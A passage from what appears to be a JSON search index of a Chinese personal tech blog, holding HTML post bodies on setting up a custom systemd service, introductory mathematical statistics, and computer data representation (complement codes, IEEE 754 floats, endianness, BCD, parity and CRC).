class=\"line\"\u003eWantedBy=multi-user.target\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003cstrong\u003eUnit\u003c/strong\u003e部分包含服务的描述和启动顺序,\u003cstrong\u003eService\u003c/strong\u003e部分包含服务的用户、类型和执行命令,\u003cstrong\u003eInstall\u003c/strong\u003e部分包含服务的安装目标。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e重新加载systemd配置\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e在编辑完服务文件后,需要重新加载systemd配置,以便它能够识别新的服务文件。可以使用以下命令重新加载systemd配置:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl daemon-reload\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"4\"\u003e\u003cli\u003e启动服务\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e您可以使用以下命令启动新创建的服务:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl start my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003col start=\"5\"\u003e\u003cli\u003e将服务设置为开机启动\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e如果您希望系统在启动时自动启动新创建的服务,可以使用以下命令将其设置为开机启动:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo systemctl \u003cspan class=\"built_in\"\u003eenable\u003c/span\u003e my-service\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,您已经成功添加了一个新的自定义服务,并且可以随时使用systemd管理该服务。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/03/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9C%8D%E5%8A%A1/"},{"title":"第五章:数理统计初步","time":"2023-02-21T09:15:55Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这研究的是总体和来自总体的任意一组样本的关系。例如,如何通过样本估算总体的统计量这样的问题,就可以通过数理统计解决。\u003c/p\u003e\u003ch2 id=\"基本概念和定义\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"基本概念和定义\"\u003e\u003c/a\u003e基本概念和定义\u003c/h2\u003e\u003ch2 id=\"抽样分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%8A%BD%E6%A0%B7%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"抽样分布\"\u003e\u003c/a\u003e抽样分布\u003c/h2\u003e\u003cp\u003e就是统计量的分布,一共有四种。\u003c/p\u003e\u003ch2 id=\"参数估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%8F%82%E6%95%B0%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"参数估计\"\u003e\u003c/a\u003e参数估计\u003c/h2\u003e\u003ch3 id=\"点估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%82%B9%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"点估计\"\u003e\u003c/a\u003e点估计\u003c/h3\u003e\u003cp\u003e就是通过总体的一个样本估计总体分布中未知参数值的问题。\u003c/p\u003e\u003ch4 id=\"矩估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%9F%A9%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"矩估计法\"\u003e\u003c/a\u003e矩估计法\u003c/h4\u003e\u003cp\u003e就是用样本n阶矩估计的方法。\u003c/p\u003e\u003ch4 id=\"最大似然估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%9C%80%E5%A4%A7%E4%BC%BC%E7%84%B6%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"最大似然估计法\"\u003e\u003c/a\u003e最大似然估计法\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/"},{"title":"计组笔记:第二章-计算机数据表示","time":"2023-02-13T04:52:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e重点是定点数和浮点数的表示。数制啥的就不说了,主要还有原码补码反码这几个。\u003cstrong\u003e下面的讨论都是对于二进制数而言的\u003c/strong\u003e,因为计算机存储的结构以二进制保存原始值。\u003c/p\u003e\u003ch2 id=\"定点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%AE%9A%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"定点数\"\u003e\u003c/a\u003e定点数\u003c/h2\u003e\u003cp\u003e也就是小数点位置不动的数。有两种,纯整数(小数点在最右侧)、纯小数(小数点在最左侧)。分为有/无符号数,前者具有\u003ccode\u003e原码、反码、补码、移码\u003c/code\u003e四种编码表示。\u003c/p\u003e\u003cp\u003e有符号数的最高位为符号位,\u003ccode\u003e0正1负\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"原码反码和补码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8E%9F%E7%A0%81%E5%8F%8D%E7%A0%81%E5%92%8C%E8%A1%A5%E7%A0%81\" class=\"headerlink\" title=\"原码反码和补码\"\u003e\u003c/a\u003e原码反码和补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原码:正数是其二进制本身;负数是符号位为1,数值部分取X绝对值的二进制。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e反码:正数的反码和原码相同;负数是符号位为1,其它位是原码取反。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码:正数的补码和原码,反码相同;负数是符号位为1,其它位是原码取反,未位加1。(或者说负数的补码是其绝对值反码未位加1)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e移码:将符号位取反的补码(不区分正负)\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e补码为什么是反码加1?因为它的目的就是为了把减法运算变成加法运算。用表举例子,加上8小时就等于减去4小时(从位置上来看)。二进制也是一样,比如4位二进制数,它的模值就是16,也就是10000。因此,一个数的补就是10000减去这个数,也就是这个数的反码再加1。\u003c/p\u003e\u003ch4 id=\"补码加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A1%A5%E7%A0%81%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"补码加减法\"\u003e\u003c/a\u003e补码加减法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e在做补码加减法时,只需将符号位和数值部分一起参与运算,并且将符号位产生的进位丢掉即可\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e补码加法公式\u003cbr/\u003e  [X+Y]补 = [X]补 + [Y]补\u003c/li\u003e\u003cli\u003e补码减法公式\u003cbr/\u003e  [X-Y]补 = [X]补-[Y]补 = [X]补 + [-Y]补\u003cbr/\u003e其中:[-Y]补称为负补,求负补的办法是:对补码的每一位(包括符合位)求反,且未位加1.\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"浮点数\"\u003e\u003c/a\u003e浮点数\u003c/h2\u003e\u003cp\u003e类似科学计数法的表示法:$F=M\\times 2^E$,$M$称为尾数,$E$称为阶码。\u003c/p\u003e\u003cp\u003e计算机中常见的浮点数存储方式为:\u003ccode\u003e数符 阶符 阶码数值部分 尾数数值部分\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"编码表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E7%BC%96%E7%A0%81%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"编码表示\"\u003e\u003c/a\u003e编码表示\u003c/h3\u003e\u003cul\u003e\u003cli\u003e尾数$M$必须是小数,用$n+1$位定点小数表示,可用原码、补码。\u003c/li\u003e\u003cli\u003e阶码$E$必须为整数,以$k+1$位有符号定点整数表示,可用原码、补码、移码。\u003c/li\u003e\u003cli\u003e浮点数编码位数为$m=(n+1)+(k+1)$\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"规格化浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A7%84%E6%A0%BC%E5%8C%96%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"规格化浮点数\"\u003e\u003c/a\u003e规格化浮点数\u003c/h4\u003e\u003cp\u003e对尾数无限制可能使得存储空间利用不充分,因此使用规格化形式表示。\u003c/p\u003e\u003cp\u003e定义 将尾数(记为$M$)的绝对值限定在规定的数值范围内:$1/2 \\leq |M| \\lt 1$,这样的浮点数就是规格化浮点数。实现这一点很简单,下面的尾数以补码表示:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M \\geq 0$:$M=0.1\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M \\lt 0$:$M=1.0\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"浮点数溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"浮点数溢出\"\u003e\u003c/a\u003e浮点数溢出\u003c/h3\u003e\u003ch3 id=\"IEEE754标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#IEEE754%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"IEEE754标准\"\u003e\u003c/a\u003eIEEE754标准\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e参数\u003c/th\u003e\u003cth align=\"center\"\u003e单精度浮点数\u003c/th\u003e\u003cth align=\"center\"\u003e双精度浮点数\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e浮点数长度\u003c/td\u003e\u003ctd align=\"center\"\u003e32\u003c/td\u003e\u003ctd align=\"center\"\u003e64\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e尾数长度$f$\u003c/td\u003e\u003ctd align=\"center\"\u003e23\u003c/td\u003e\u003ctd align=\"center\"\u003e52\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e符号位$s$\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e指数$e$长度\u003c/td\u003e\u003ctd align=\"center\"\u003e8\u003c/td\u003e\u003ctd align=\"center\"\u003e11\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"单精度浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8D%95%E7%B2%BE%E5%BA%A6%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"单精度浮点数\"\u003e\u003c/a\u003e单精度浮点数\u003c/h4\u003e\u003cp\u003e$$\u003cbr/\u003eN=(-1)^S\\times 2^{e-127}\\times 1.f\u003cbr/\u003e$$\u003c/p\u003e\u003chr/\u003e\u003cp\u003eIEEE754可以表示规格化浮点数,也可以表示非规格化浮点数。它表示越接近0的数越精确,越接近正负无穷的数越不准确。\u003c/p\u003e\u003ch3 id=\"浮点数存储\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E5%AD%98%E5%82%A8\" class=\"headerlink\" title=\"浮点数存储\"\u003e\u003c/a\u003e浮点数存储\u003c/h3\u003e\u003cp\u003e目前计算机主要推行小端存储:浮点数的四个字节从低位到高位分别存储在计算机内存地址的低位到高位。\u003c/p\u003e\u003ch4 id=\"大小端判断\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A4%A7%E5%B0%8F%E7%AB%AF%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"大小端判断\"\u003e\u003c/a\u003e大小端判断\u003c/h4\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etype\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e{\u003c/span\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e a; \u003cspan class=\"type\"\u003echar\u003c/span\u003e b;} i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i.a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, i.b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果输出1,则说明计算机是小端存储。\u003c/p\u003e\u003ch3 id=\"浮点数模型表示范围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%A8%A1%E5%9E%8B%E8%A1%A8%E7%A4%BA%E8%8C%83%E5%9B%B4\" class=\"headerlink\" title=\"浮点数模型表示范围\"\u003e\u003c/a\u003e浮点数模型表示范围\u003c/h3\u003e\u003ch4 id=\"思考题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%80%9D%E8%80%83%E9%A2%98\" class=\"headerlink\" title=\"思考题\"\u003e\u003c/a\u003e思考题\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230215_115634.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e已知迷你754编码规则如上,求它的表示范围。\u003c/p\u003e\u003ch2 id=\"BCD编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#BCD%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"BCD编码\"\u003e\u003c/a\u003eBCD编码\u003c/h2\u003e\u003cp\u003e典型的有8421码,这四个数字是位权。还有非位权码,比如余3码,格雷码等。\u003c/p\u003e\u003ch2 id=\"非数值编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E9%9D%9E%E6%95%B0%E5%80%BC%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"非数值编码\"\u003e\u003c/a\u003e非数值编码\u003c/h2\u003e\u003cp\u003eASCII,GB2312,GBK,还有兼容Unicode-2的编码。汉字编码用了变长数据,技术上类似于霍夫曼编码。\u003c/p\u003e\u003ch2 id=\"校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"校验码\"\u003e\u003c/a\u003e校验码\u003c/h2\u003e\u003cp\u003e传输过程中,检验数据是否有丢失/错误的一种检验手段。\u003c/p\u003e\u003ch3 id=\"奇偶校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"奇偶校验码\"\u003e\u003c/a\u003e奇偶校验码\u003c/h3\u003e\u003cp\u003e只有一位校验位,在数据的最高位。它表示数据中包括校验位在内的位的1的个数是奇数还是偶数。前者校验位为1,后者为0。\u003c/p\u003e\u003ch3 id=\"CRC冗余循环校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#CRC%E5%86%97%E4%BD%99%E5%BE%AA%E7%8E%AF%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" 